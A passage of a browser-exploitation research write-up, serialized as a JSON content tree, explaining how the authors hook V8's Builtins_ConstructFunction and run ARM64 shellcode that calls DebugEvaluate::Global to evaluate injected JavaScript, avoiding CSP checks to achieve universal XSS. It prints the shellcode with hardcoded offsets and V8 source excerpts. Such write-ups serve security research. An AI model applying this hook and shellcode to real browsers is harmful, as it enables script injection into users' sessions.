lr\n",{"type":23,"tag":139,"props":138259,"children":138260},{"class":141,"line":214},[138261],{"type":23,"tag":139,"props":138262,"children":138263},{},[138264],{"type":28,"value":137794},{"type":23,"tag":139,"props":138266,"children":138267},{"class":141,"line":1320},[138268],{"type":23,"tag":139,"props":138269,"children":138270},{"emptyLinePlaceholder":15},[138271],{"type":28,"value":184},{"type":23,"tag":139,"props":138273,"children":138274},{"class":141,"line":1329},[138275],{"type":23,"tag":139,"props":138276,"children":138277},{},[138278],{"type":28,"value":138279},"// restore original registers\n",{"type":23,"tag":139,"props":138281,"children":138282},{"class":141,"line":1580},[138283],{"type":23,"tag":139,"props":138284,"children":138285},{},[138286],{"type":28,"value":138287},"ldp x28, x29, [sp], #16\n",{"type":23,"tag":139,"props":138289,"children":138290},{"class":141,"line":1597},[138291],{"type":23,"tag":139,"props":138292,"children":138293},{},[138294],{"type":28,"value":138295},"ldp x26, x27, [sp], #16\n",{"type":23,"tag":139,"props":138297,"children":138298},{"class":141,"line":1614},[138299],{"type":23,"tag":139,"props":138300,"children":138301},{},[138302],{"type":28,"value":138303},"ldp x24, x25, [sp], #16\n",{"type":23,"tag":139,"props":138305,"children":138306},{"class":141,"line":1627},[138307],{"type":23,"tag":139,"props":138308,"children":138309},{},[138310],{"type":28,"value":138311},"ldp x22, x23, [sp], #16\n",{"type":23,"tag":139,"props":138313,"children":138314},{"class":141,"line":1636},[138315],{"type":23,"tag":139,"props":138316,"children":138317},{},[138318],{"type":28,"value":138319},"ldp x20, x21, [sp], #16\n",{"type":23,"tag":139,"props":138321,"children":138322},{"class":141,"line":1659},[138323],{"type":23,"tag":139,"props":138324,"children":138325},{},[138326],{"type":28,"value":138327},"ldp x18, x19, [sp], #16\n",{"type":23,"tag":139,"props":138329,"children":138330},{"class":141,"line":1667},[138331],{"type":23,"tag":139,"props":138332,"children":138333},{},[138334],{"type":28,"value":138335},"ldp x16, x17, [sp], #16\n",{"type":23,"tag":139,"props":138337,"children":138338},{"class":141,"line":1676},[138339],{"type":23,"tag":139,"props":138340,"children":138341},{},[138342],{"type":28,"value":138343},"ldp x14, x15, [sp], #16\n",{"type":23,"tag":139,"props":138345,"children":138346},{"class":141,"line":1745},[138347],{"type":23,"tag":139,"props":138348,"children":138349},{},[138350],{"type":28,"value":138351},"ldp x12, x13, [sp], #16\n",{"type":23,"tag":139,"props":138353,"children":138354},{"class":141,"line":1753},[138355],{"type":23,"tag":139,"props":138356,"children":138357},{},[138358],{"type":28,"value":138359},"ldp x10, x11, [sp], #16\n",{"type":23,"tag":139,"props":138361,"children":138362},{"class":141,"line":1783},[138363],{"type":23,"tag":139,"props":138364,"children":138365},{},[138366],{"type":28,"value":138367},"ldp x8,  x9,  [sp], #16\n",{"type":23,"tag":139,"props":138369,"children":138370},{"class":141,"line":1791},[138371],{"type":23,"tag":139,"props":138372,"children":138373},{},[138374],{"type":28,"value":138375},"ldp x6,  x7,  [sp], #16\n",{"type":23,"tag":139,"props":138377,"children":138378},{"class":141,"line":1823},[138379],{"type":23,"tag":139,"props":138380,"children":138381},{},[138382],{"type":28,"value":138383},"ldp x4,  x5,  [sp], #16\n",{"type":23,"tag":139,"props":138385,"children":138386},{"class":141,"line":1831},[138387],{"type":23,"tag":139,"props":138388,"children":138389},{},[138390],{"type":28,"value":138391},"ldp x2,  x3,  [sp], #16\n",{"type":23,"tag":139,"props":138393,"children":138394},{"class":141,"line":1891},[138395],{"type":23,"tag":139,"props":138396,"children":138397},{},[138398],{"type":28,"value":138399},"ldp x0,  x1,  [sp], #16\n",{"type":23,"tag":139,"props":138401,"children":138402},{"class":141,"line":7053},[138403],{"type":23,"tag":139,"props":138404,"children":138405},{"emptyLinePlaceholder":15},[138406],{"type":28,"value":184},{"type":23,"tag":139,"props":138408,"children":138409},{"class":141,"line":7071},[138410],{"type":23,"tag":139,"props":138411,"children":138412},{},[138413],{"type":28,"value":138414},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":23,"tag":139,"props":138416,"children":138417},{"class":141,"line":7116},[138418],{"type":23,"tag":139,"props":138419,"children":138420},{},[138421],{"type":28,"value":138422},"// it immediately, so we can clobber and use it as a return register.\n",{"type":23,"tag":139,"props":138424,"children":138425},{"class":141,"line":7222},[138426],{"type":23,"tag":139,"props":138427,"children":138428},{},[138429],{"type":28,"value":138430},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":23,"tag":139,"props":138432,"children":138433},{"class":141,"line":21518},[138434],{"type":23,"tag":139,"props":138435,"children":138436},{},[138437],{"type":28,"value":138438},"// where to return\n",{"type":23,"tag":139,"props":138440,"children":138441},{"class":141,"line":21553},[138442],{"type":23,"tag":139,"props":138443,"children":138444},{},[138445],{"type":28,"value":138446},"mov x4, lr\n",{"type":23,"tag":139,"props":138448,"children":138449},{"class":141,"line":21561},[138450],{"type":23,"tag":139,"props":138451,"children":138452},{"emptyLinePlaceholder":15},[138453],{"type":28,"value":184},{"type":23,"tag":139,"props":138455,"children":138456},{"class":141,"line":21569},[138457],{"type":23,"tag":139,"props":138458,"children":138459},{},[138460],{"type":28,"value":138461},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":23,"tag":139,"props":138463,"children":138464},{"class":141,"line":21578},[138465],{"type":23,"tag":139,"props":138466,"children":138467},{},[138468],{"type":28,"value":138469},"ldp x15, lr, [sp], #16\n",{"type":23,"tag":139,"props":138471,"children":138472},{"class":141,"line":21620},[138473],{"type":23,"tag":139,"props":138474,"children":138475},{"emptyLinePlaceholder":15},[138476],{"type":28,"value":184},{"type":23,"tag":139,"props":138478,"children":138479},{"class":141,"line":21653},[138480],{"type":23,"tag":139,"props":138481,"children":138482},{},[138483],{"type":28,"value":138484},"ret x4\n",{"type":23,"tag":24,"props":138486,"children":138487},{},[138488,138490,138495,138497,138502,138504,138510],{"type":28,"value":138489},"At this point, we have successfully hooked ",{"type":23,"tag":135,"props":138491,"children":138493},{"className":138492},[],[138494],{"type":28,"value":137372},{"type":28,"value":138496}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":23,"tag":135,"props":138498,"children":138500},{"className":138499},[],[138501],{"type":28,"value":137888},{"type":28,"value":138503}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":23,"tag":135,"props":138505,"children":138507},{"className":138506},[],[138508],{"type":28,"value":138509},"Builtins_GlobalEval",{"type":28,"value":73},{"type":23,"tag":24,"props":138512,"children":138513},{},[138514,138519,138521,138526,138528,138533],{"type":23,"tag":135,"props":138515,"children":138517},{"className":138516},[],[138518],{"type":28,"value":138509},{"type":28,"value":138520}," takes a single ",{"type":23,"tag":135,"props":138522,"children":138524},{"className":138523},[],[138525],{"type":28,"value":45823},{"type":28,"value":138527}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":23,"tag":135,"props":138529,"children":138531},{"className":138530},[],[138532],{"type":28,"value":35438},{"type":28,"value":2493},{"type":23,"tag":128,"props":138535,"children":138537},{"code":138536,"language":27134,"meta":7,"className":27132,"style":7},"BUILTIN(GlobalEval) {\n  [...]\n\n  if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n    isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n    return ReadOnlyRoots(isolate).undefined_value();\n  }\n",[138538],{"type":23,"tag":135,"props":138539,"children":138540},{"__ignoreMap":7},[138541,138554,138561,138568,138611,138633,138659],{"type":23,"tag":139,"props":138542,"children":138543},{"class":141,"line":142},[138544,138549],{"type":23,"tag":139,"props":138545,"children":138546},{"style":245},[138547],{"type":28,"value":138548},"BUILTIN",{"type":23,"tag":139,"props":138550,"children":138551},{"style":259},[138552],{"type":28,"value":138553},"(GlobalEval) {\n",{"type":23,"tag":139,"props":138555,"children":138556},{"class":141,"line":151},[138557],{"type":23,"tag":139,"props":138558,"children":138559},{"style":259},[138560],{"type":28,"value":125057},{"type":23,"tag":139,"props":138562,"children":138563},{"class":141,"line":160},[138564],{"type":23,"tag":139,"props":138565,"children":138566},{"emptyLinePlaceholder":15},[138567],{"type":28,"value":184},{"type":23,"tag":139,"props":138569,"children":138570},{"class":141,"line":169},[138571,138576,138581,138585,138590,138594,138598,138602,138607],{"type":23,"tag":139,"props":138572,"children":138573},{"style":259},[138574],{"type":28,"value":138575},"  if (!Builtins::",{"type":23,"tag":139,"props":138577,"children":138578},{"style":305},[138579],{"type":28,"value":138580},"AllowDynamicFunction",{"type":23,"tag":139,"props":138582,"children":138583},{"style":259},[138584],{"type":28,"value":262},{"type":23,"tag":139,"props":138586,"children":138587},{"style":305},[138588],{"type":28,"value":138589},"isolate",{"type":23,"tag":139,"props":138591,"children":138592},{"style":259},[138593],{"type":28,"value":1052},{"type":23,"tag":139,"props":138595,"children":138596},{"style":305},[138597],{"type":28,"value":112982},{"type":23,"tag":139,"props":138599,"children":138600},{"style":259},[138601],{"type":28,"value":1052},{"type":23,"tag":139,"props":138603,"children":138604},{"style":305},[138605],{"type":28,"value":138606},"target_global_proxy",{"type":23,"tag":139,"props":138608,"children":138609},{"style":259},[138610],{"type":28,"value":33083},{"type":23,"tag":139,"props":138612,"children":138613},{"class":141,"line":178},[138614,138619,138623,138628],{"type":23,"tag":139,"props":138615,"children":138616},{"style":294},[138617],{"type":28,"value":138618},"    isolate",{"type":23,"tag":139,"props":138620,"children":138621},{"style":259},[138622],{"type":28,"value":11768},{"type":23,"tag":139,"props":138624,"children":138625},{"style":245},[138626],{"type":28,"value":138627},"CountUsage",{"type":23,"tag":139,"props":138629,"children":138630},{"style":259},[138631],{"type":28,"value":138632},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":23,"tag":139,"props":138634,"children":138635},{"class":141,"line":187},[138636,138640,138645,138650,138655],{"type":23,"tag":139,"props":138637,"children":138638},{"style":319},[138639],{"type":28,"value":322},{"type":23,"tag":139,"props":138641,"children":138642},{"style":245},[138643],{"type":28,"value":138644}," ReadOnlyRoots",{"type":23,"tag":139,"props":138646,"children":138647},{"style":259},[138648],{"type":28,"value":138649},"(isolate).",{"type":23,"tag":139,"props":138651,"children":138652},{"style":245},[138653],{"type":28,"value":138654},"undefined_value",{"type":23,"tag":139,"props":138656,"children":138657},{"style":259},[138658],{"type":28,"value":1656},{"type":23,"tag":139,"props":138660,"children":138661},{"class":141,"line":196},[138662],{"type":23,"tag":139,"props":138663,"children":138664},{"style":259},[138665],{"type":28,"value":3874},{"type":23,"tag":24,"props":138667,"children":138668},{},[138669,138671,138676],{"type":28,"value":138670},"This means we would need to patch the function further to ensure it never enters this ",{"type":23,"tag":135,"props":138672,"children":138674},{"className":138673},[],[138675],{"type":28,"value":13590},{"type":28,"value":138677}," block.",{"type":23,"tag":24,"props":138679,"children":138680},{},[138681],{"type":28,"value":138682},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":23,"tag":128,"props":138684,"children":138686},{"code":138685,"language":27134,"meta":7,"className":27132,"style":7},"BUILTIN(GlobalEval) {\n\n  [...]\n\n  DirectHandle\u003CJSFunction> function;\n  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n      isolate, function,\n      Compiler::GetFunctionFromValidatedString(\n          direct_handle(target->native_context(), isolate), source,\n          NO_PARSE_RESTRICTION, kNoSourcePosition));\n  RETURN_RESULT_OR_FAILURE(\n      isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[138687],{"type":23,"tag":135,"props":138688,"children":138689},{"__ignoreMap":7},[138690,138701,138708,138715,138722,138730,138742,138750,138767,138797,138805,138817],{"type":23,"tag":139,"props":138691,"children":138692},{"class":141,"line":142},[138693,138697],{"type":23,"tag":139,"props":138694,"children":138695},{"style":245},[138696],{"type":28,"value":138548},{"type":23,"tag":139,"props":138698,"children":138699},{"style":259},[138700],{"type":28,"value":138553},{"type":23,"tag":139,"props":138702,"children":138703},{"class":141,"line":151},[138704],{"type":23,"tag":139,"props":138705,"children":138706},{"emptyLinePlaceholder":15},[138707],{"type":28,"value":184},{"type":23,"tag":139,"props":138709,"children":138710},{"class":141,"line":160},[138711],{"type":23,"tag":139,"props":138712,"children":138713},{"style":259},[138714],{"type":28,"value":125057},{"type":23,"tag":139,"props":138716,"children":138717},{"class":141,"line":169},[138718],{"type":23,"tag":139,"props":138719,"children":138720},{"emptyLinePlaceholder":15},[138721],{"type":28,"value":184},{"type":23,"tag":139,"props":138723,"children":138724},{"class":141,"line":178},[138725],{"type":23,"tag":139,"props":138726,"children":138727},{"style":259},[138728],{"type":28,"value":138729},"  DirectHandle\u003CJSFunction> function;\n",{"type":23,"tag":139,"props":138731,"children":138732},{"class":141,"line":187},[138733,138738],{"type":23,"tag":139,"props":138734,"children":138735},{"style":245},[138736],{"type":28,"value":138737},"  ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":23,"tag":139,"props":138739,"children":138740},{"style":259},[138741],{"type":28,"value":1443},{"type":23,"tag":139,"props":138743,"children":138744},{"class":141,"line":196},[138745],{"type":23,"tag":139,"props":138746,"children":138747},{"style":259},[138748],{"type":28,"value":138749},"      isolate, function,\n",{"type":23,"tag":139,"props":138751,"children":138752},{"class":141,"line":205},[138753,138758,138763],{"type":23,"tag":139,"props":138754,"children":138755},{"style":259},[138756],{"type":28,"value":138757},"      Compiler::",{"type":23,"tag":139,"props":138759,"children":138760},{"style":245},[138761],{"type":28,"value":138762},"GetFunctionFromValidatedString",{"type":23,"tag":139,"props":138764,"children":138765},{"style":259},[138766],{"type":28,"value":1443},{"type":23,"tag":139,"props":138768,"children":138769},{"class":141,"line":214},[138770,138775,138779,138783,138787,138792],{"type":23,"tag":139,"props":138771,"children":138772},{"style":245},[138773],{"type":28,"value":138774},"          direct_handle",{"type":23,"tag":139,"props":138776,"children":138777},{"style":259},[138778],{"type":28,"value":262},{"type":23,"tag":139,"props":138780,"children":138781},{"style":294},[138782],{"type":28,"value":112982},{"type":23,"tag":139,"props":138784,"children":138785},{"style":259},[138786],{"type":28,"value":11768},{"type":23,"tag":139,"props":138788,"children":138789},{"style":245},[138790],{"type":28,"value":138791},"native_context",{"type":23,"tag":139,"props":138793,"children":138794},{"style":259},[138795],{"type":28,"value":138796},"(), isolate), source,\n",{"type":23,"tag":139,"props":138798,"children":138799},{"class":141,"line":1320},[138800],{"type":23,"tag":139,"props":138801,"children":138802},{"style":259},[138803],{"type":28,"value":138804},"          NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":23,"tag":139,"props":138806,"children":138807},{"class":141,"line":1329},[138808,138813],{"type":23,"tag":139,"props":138809,"children":138810},{"style":245},[138811],{"type":28,"value":138812},"  RETURN_RESULT_OR_FAILURE",{"type":23,"tag":139,"props":138814,"children":138815},{"style":259},[138816],{"type":28,"value":1443},{"type":23,"tag":139,"props":138818,"children":138819},{"class":141,"line":1580},[138820,138825,138830],{"type":23,"tag":139,"props":138821,"children":138822},{"style":259},[138823],{"type":28,"value":138824},"      isolate, Execution::",{"type":23,"tag":139,"props":138826,"children":138827},{"style":245},[138828],{"type":28,"value":138829},"Call",{"type":23,"tag":139,"props":138831,"children":138832},{"style":259},[138833],{"type":28,"value":138834},"(isolate, function, target_global_proxy, {}));\n",{"type":23,"tag":24,"props":138836,"children":138837},{},[138838,138840,138845,138847,138853,138855,138861,138863,138869],{"type":28,"value":138839},"But determining the correct ",{"type":23,"tag":135,"props":138841,"children":138843},{"className":138842},[],[138844],{"type":28,"value":112982},{"type":28,"value":138846}," value, obtaining ",{"type":23,"tag":135,"props":138848,"children":138850},{"className":138849},[],[138851],{"type":28,"value":138852},"target->native_context()",{"type":28,"value":138854},", and locating the ",{"type":23,"tag":135,"props":138856,"children":138858},{"className":138857},[],[138859],{"type":28,"value":138860},"direct_handle",{"type":28,"value":138862}," function, just to make a proper call to ",{"type":23,"tag":135,"props":138864,"children":138866},{"className":138865},[],[138867],{"type":28,"value":138868},"Compiler::GetFunctionFromValidatedString",{"type":28,"value":138870},", seemed unnecessarily cumbersome.",{"type":23,"tag":24,"props":138872,"children":138873},{},[138874,138876,138882],{"type":28,"value":138875},"Instead, we found a much simpler option with no security checks: ",{"type":23,"tag":135,"props":138877,"children":138879},{"className":138878},[],[138880],{"type":28,"value":138881},"DebugEvaluate::Global",{"type":28,"value":138883},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":23,"tag":24,"props":138885,"children":138886},{},[138887],{"type":28,"value":138888},"For our needs, it is straightforward to call:",{"type":23,"tag":128,"props":138890,"children":138892},{"code":138891,"language":27134,"meta":7,"className":27132,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n                                                Handle\u003CString> source,\n                                                debug::EvaluateGlobalMode mode,\n                                                REPLMode repl_mode);\n",[138893],{"type":23,"tag":135,"props":138894,"children":138895},{"__ignoreMap":7},[138896,138944,138973,138994],{"type":23,"tag":139,"props":138897,"children":138898},{"class":141,"line":142},[138899,138904,138908,138912,138917,138922,138926,138931,138935,138940],{"type":23,"tag":139,"props":138900,"children":138901},{"style":305},[138902],{"type":28,"value":138903},"MaybeDirectHandle",{"type":23,"tag":139,"props":138905,"children":138906},{"style":259},[138907],{"type":28,"value":3808},{"type":23,"tag":139,"props":138909,"children":138910},{"style":305},[138911],{"type":28,"value":46748},{"type":23,"tag":139,"props":138913,"children":138914},{"style":259},[138915],{"type":28,"value":138916},"> DebugEvaluate::",{"type":23,"tag":139,"props":138918,"children":138919},{"style":245},[138920],{"type":28,"value":138921},"Global",{"type":23,"tag":139,"props":138923,"children":138924},{"style":259},[138925],{"type":28,"value":262},{"type":23,"tag":139,"props":138927,"children":138928},{"style":305},[138929],{"type":28,"value":138930},"Isolate",{"type":23,"tag":139,"props":138932,"children":138933},{"style":279},[138934],{"type":28,"value":2573},{"type":23,"tag":139,"props":138936,"children":138937},{"style":294},[138938],{"type":28,"value":138939}," isolate",{"type":23,"tag":139,"props":138941,"children":138942},{"style":259},[138943],{"type":28,"value":1488},{"type":23,"tag":139,"props":138945,"children":138946},{"class":141,"line":151},[138947,138952,138956,138960,138964,138969],{"type":23,"tag":139,"props":138948,"children":138949},{"style":305},[138950],{"type":28,"value":138951},"                                                Handle",{"type":23,"tag":139,"props":138953,"children":138954},{"style":259},[138955],{"type":28,"value":3808},{"type":23,"tag":139,"props":138957,"children":138958},{"style":305},[138959],{"type":28,"value":45823},{"type":23,"tag":139,"props":138961,"children":138962},{"style":259},[138963],{"type":28,"value":3823},{"type":23,"tag":139,"props":138965,"children":138966},{"style":294},[138967],{"type":28,"value":138968},"source",{"type":23,"tag":139,"props":138970,"children":138971},{"style":259},[138972],{"type":28,"value":1488},{"type":23,"tag":139,"props":138974,"children":138975},{"class":141,"line":160},[138976,138981,138986,138990],{"type":23,"tag":139,"props":138977,"children":138978},{"style":259},[138979],{"type":28,"value":138980},"                                                debug::",{"type":23,"tag":139,"props":138982,"children":138983},{"style":305},[138984],{"type":28,"value":138985},"EvaluateGlobalMode",{"type":23,"tag":139,"props":138987,"children":138988},{"style":294},[138989],{"type":28,"value":104178},{"type":23,"tag":139,"props":138991,"children":138992},{"style":259},[138993],{"type":28,"value":1488},{"type":23,"tag":139,"props":138995,"children":138996},{"class":141,"line":169},[138997,139002,139007],{"type":23,"tag":139,"props":138998,"children":138999},{"style":305},[139000],{"type":28,"value":139001},"                                                REPLMode",{"type":23,"tag":139,"props":139003,"children":139004},{"style":294},[139005],{"type":28,"value":139006}," repl_mode",{"type":23,"tag":139,"props":139008,"children":139009},{"style":259},[139010],{"type":28,"value":1820},{"type":23,"tag":24,"props":139012,"children":139013},{},[139014,139016,139021,139023,139028,139030,139035,139037,139043,139044,139050],{"type":28,"value":139015},"We must supply the ",{"type":23,"tag":135,"props":139017,"children":139019},{"className":139018},[],[139020],{"type":28,"value":138589},{"type":28,"value":139022}," pointer, a ",{"type":23,"tag":135,"props":139024,"children":139026},{"className":139025},[],[139027],{"type":28,"value":45823},{"type":28,"value":139029}," object containing our XSS payload as ",{"type":23,"tag":135,"props":139031,"children":139033},{"className":139032},[],[139034],{"type":28,"value":138968},{"type":28,"value":139036},", and the ",{"type":23,"tag":135,"props":139038,"children":139040},{"className":139039},[],[139041],{"type":28,"value":139042},"mode",{"type":28,"value":9002},{"type":23,"tag":135,"props":139045,"children":139047},{"className":139046},[],[139048],{"type":28,"value":139049},"repl_mode",{"type":28,"value":139051}," values, which are simple enum literals.",{"type":23,"tag":24,"props":139053,"children":139054},{},[139055,139057,139062,139064,139070,139072,139077,139079,139084,139086,139092,139094,139100,139102,139107,139109,139114,139116,139121,139123,139128],{"type":28,"value":139056},"To obtain the ",{"type":23,"tag":135,"props":139058,"children":139060},{"className":139059},[],[139061],{"type":28,"value":138589},{"type":28,"value":139063}," pointer within our shellcode, we call ",{"type":23,"tag":135,"props":139065,"children":139067},{"className":139066},[],[139068],{"type":28,"value":139069},"Isolate::TryGetCurrent()",{"type":28,"value":139071},", which returns the current ",{"type":23,"tag":135,"props":139073,"children":139075},{"className":139074},[],[139076],{"type":28,"value":138589},{"type":28,"value":139078},". To construct a valid ",{"type":23,"tag":135,"props":139080,"children":139082},{"className":139081},[],[139083],{"type":28,"value":45823},{"type":28,"value":139085}," object holding our payload, we call ",{"type":23,"tag":135,"props":139087,"children":139089},{"className":139088},[],[139090],{"type":28,"value":139091},"v8::String::NewFromUTF8",{"type":28,"value":139093},". This ",{"type":23,"tag":135,"props":139095,"children":139097},{"className":139096},[],[139098],{"type":28,"value":139099},"NewFromUTF8",{"type":28,"value":139101}," function takes four arguments: the ",{"type":23,"tag":135,"props":139103,"children":139105},{"className":139104},[],[139106],{"type":28,"value":138589},{"type":28,"value":139108},", the string bytes as ",{"type":23,"tag":135,"props":139110,"children":139112},{"className":139111},[],[139113],{"type":28,"value":1691},{"type":28,"value":139115},", an enum literal specifying the string type, and ",{"type":23,"tag":135,"props":139117,"children":139119},{"className":139118},[],[139120],{"type":28,"value":6508},{"type":28,"value":139122},", which is the size of the ",{"type":23,"tag":135,"props":139124,"children":139126},{"className":139125},[],[139127],{"type":28,"value":1691},{"type":28,"value":15176},{"type":23,"tag":24,"props":139130,"children":139131},{},[139132],{"type":28,"value":139133},"The resulting shellcode that executes our XSS payload looks like this:",{"type":23,"tag":128,"props":139135,"children":139137},{"code":139136,"language":137425,"meta":7,"className":137426,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[139138],{"type":23,"tag":135,"props":139139,"children":139140},{"__ignoreMap":7},[139141,139149,139157,139165,139173,139181,139189,139197,139205,139213,139221,139229,139237,139244,139252,139260,139268,139276,139283,139291,139298,139306,139314,139321,139328,139335,139342,139349,139356,139364,139372,139379,139387,139395,139402,139410,139418,139425,139432,139440,139448,139456,139463,139471,139479,139487,139495,139503,139511,139519,139527,139535,139543,139551,139558,139566,139574,139581,139589,139597,139605,139613,139620,139628,139635,139642,139650,139658,139666,139674,139683,139692,139700],{"type":23,"tag":139,"props":139142,"children":139143},{"class":141,"line":142},[139144],{"type":23,"tag":139,"props":139145,"children":139146},{},[139147],{"type":28,"value":139148},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":23,"tag":139,"props":139150,"children":139151},{"class":141,"line":151},[139152],{"type":23,"tag":139,"props":139153,"children":139154},{},[139155],{"type":28,"value":139156},"movz x1, #0xf7a0\n",{"type":23,"tag":139,"props":139158,"children":139159},{"class":141,"line":160},[139160],{"type":23,"tag":139,"props":139161,"children":139162},{},[139163],{"type":28,"value":139164},"movk x1, #0x0071, lsl #16\n",{"type":23,"tag":139,"props":139166,"children":139167},{"class":141,"line":169},[139168],{"type":23,"tag":139,"props":139169,"children":139170},{},[139171],{"type":28,"value":139172},"add x9, x12, x1\n",{"type":23,"tag":139,"props":139174,"children":139175},{"class":141,"line":178},[139176],{"type":23,"tag":139,"props":139177,"children":139178},{},[139179],{"type":28,"value":139180},"movz x1, #0x5ac8\n",{"type":23,"tag":139,"props":139182,"children":139183},{"class":141,"line":187},[139184],{"type":23,"tag":139,"props":139185,"children":139186},{},[139187],{"type":28,"value":139188},"movk x1, #0x054f, lsl #16\n",{"type":23,"tag":139,"props":139190,"children":139191},{"class":141,"line":196},[139192],{"type":23,"tag":139,"props":139193,"children":139194},{},[139195],{"type":28,"value":139196},"add x0, x12, x1\n",{"type":23,"tag":139,"props":139198,"children":139199},{"class":141,"line":205},[139200],{"type":23,"tag":139,"props":139201,"children":139202},{},[139203],{"type":28,"value":139204},"blr x9\n",{"type":23,"tag":139,"props":139206,"children":139207},{"class":141,"line":214},[139208],{"type":23,"tag":139,"props":139209,"children":139210},{},[139211],{"type":28,"value":139212},"// *x0 is isolate pointer\n",{"type":23,"tag":139,"props":139214,"children":139215},{"class":141,"line":1320},[139216],{"type":23,"tag":139,"props":139217,"children":139218},{},[139219],{"type":28,"value":139220},"// store isolate ptr to stack\n",{"type":23,"tag":139,"props":139222,"children":139223},{"class":141,"line":1329},[139224],{"type":23,"tag":139,"props":139225,"children":139226},{},[139227],{"type":28,"value":139228},"ldr x13, [x0]\n",{"type":23,"tag":139,"props":139230,"children":139231},{"class":141,"line":1580},[139232],{"type":23,"tag":139,"props":139233,"children":139234},{},[139235],{"type":28,"value":139236},"str x13, [sp, #-16]!\n",{"type":23,"tag":139,"props":139238,"children":139239},{"class":141,"line":1597},[139240],{"type":23,"tag":139,"props":139241,"children":139242},{"emptyLinePlaceholder":15},[139243],{"type":28,"value":184},{"type":23,"tag":139,"props":139245,"children":139246},{"class":141,"line":1614},[139247],{"type":23,"tag":139,"props":139248,"children":139249},{},[139250],{"type":28,"value":139251},"// store x10 = v8::String::NewFromUTF8\n",{"type":23,"tag":139,"props":139253,"children":139254},{"class":141,"line":1627},[139255],{"type":23,"tag":139,"props":139256,"children":139257},{},[139258],{"type":28,"value":139259},"movz x1, #0x1140\n",{"type":23,"tag":139,"props":139261,"children":139262},{"class":141,"line":1636},[139263],{"type":23,"tag":139,"props":139264,"children":139265},{},[139266],{"type":28,"value":139267},"movk x1, #0x0242, lsl #16\n",{"type":23,"tag":139,"props":139269,"children":139270},{"class":141,"line":1659},[139271],{"type":23,"tag":139,"props":139272,"children":139273},{},[139274],{"type":28,"value":139275},"sub x10, x12, x1\n",{"type":23,"tag":139,"props":139277,"children":139278},{"class":141,"line":1667},[139279],{"type":23,"tag":139,"props":139280,"children":139281},{"emptyLinePlaceholder":15},[139282],{"type":28,"value":184},{"type":23,"tag":139,"props":139284,"children":139285},{"class":141,"line":1676},[139286],{"type":23,"tag":139,"props":139287,"children":139288},{},[139289],{"type":28,"value":139290},"// mmap a RW page for our xss payload\n",{"type":23,"tag":139,"props":139292,"children":139293},{"class":141,"line":1745},[139294],{"type":23,"tag":139,"props":139295,"children":139296},{},[139297],{"type":28,"value":137641},{"type":23,"tag":139,"props":139299,"children":139300},{"class":141,"line":1753},[139301],{"type":23,"tag":139,"props":139302,"children":139303},{},[139304],{"type":28,"value":139305},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":23,"tag":139,"props":139307,"children":139308},{"class":141,"line":1783},[139309],{"type":23,"tag":139,"props":139310,"children":139311},{},[139312],{"type":28,"value":139313},"mov x2, 